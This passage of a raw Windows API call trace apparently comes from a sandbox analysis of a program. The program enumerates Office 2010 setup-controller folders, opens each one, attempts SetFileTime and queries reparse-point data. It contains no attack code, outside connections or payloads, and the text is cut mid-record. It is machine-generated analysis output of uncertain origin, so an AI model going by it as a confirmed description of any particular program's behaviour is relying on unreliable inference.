ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.386] GetLastError () returned 0x12 [0055.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0055.386] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0055.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0055.386] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.386] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0055.386] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0055.398] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0055.398] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0055.398] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0055.398] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0055.398] NtClose (Handle=0x18c) returned 0x0 [0055.398] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.398] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.398] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0055.398] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.398] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.398] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0055.398] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0055.398] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.399] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="")) returned 1 [0055.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0055.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0055.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf96080 [0055.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9a248 [0055.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.399] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0055.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf960a0 [0055.399] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9a350 [0055.399] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0055.399] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.399] GetLastError () returned 0x12 [0055.399] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0055.399] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0055.399] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.399] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="")) returned 1 [0055.400] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0055.400] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0055.400] GetLastError () returned 0x12 [0055.400] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0055.400] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0055.400] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0055.400] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0055.400] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="")) returned 1 [0055.400] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0055.400] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0056.011] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0056.017] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0056.021] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0056.025] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0056.028] NtClose (Handle=0x188) returned 0x0 [0056.031] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0056.036] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.038] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0056.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0056.042] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.043] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0056.047] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0056.052] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.061] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="")) returned 1 [0056.062] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.062] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.064] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.081] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.081] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.081] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0056.082] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0056.082] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf960c0 [0056.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9a458 [0056.086] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.087] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0056.087] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.088] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.089] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.090] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.090] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9dfc0 [0056.151] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9a560 [0056.151] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.151] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0056.151] GetLastError () returned 0x12 [0056.151] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0056.151] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0056.152] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.152] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="")) returned 1 [0056.152] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0056.152] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0056.152] GetLastError () returned 0x12 [0056.152] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0056.152] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0056.152] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0056.152] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0056.152] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0056.152] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="")) returned 1 [0056.152] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0056.152] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0056.258] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0056.259] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9e7a8 [0056.261] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9e7a8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf9e7a8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0056.261] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9e7a8) returned 1 [0056.262] NtClose (Handle=0x18c) returned 0x0 [0056.262] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0056.263] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.263] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0056.263] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0056.263] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.264] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97608 [0056.268] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0056.271] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.272] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: 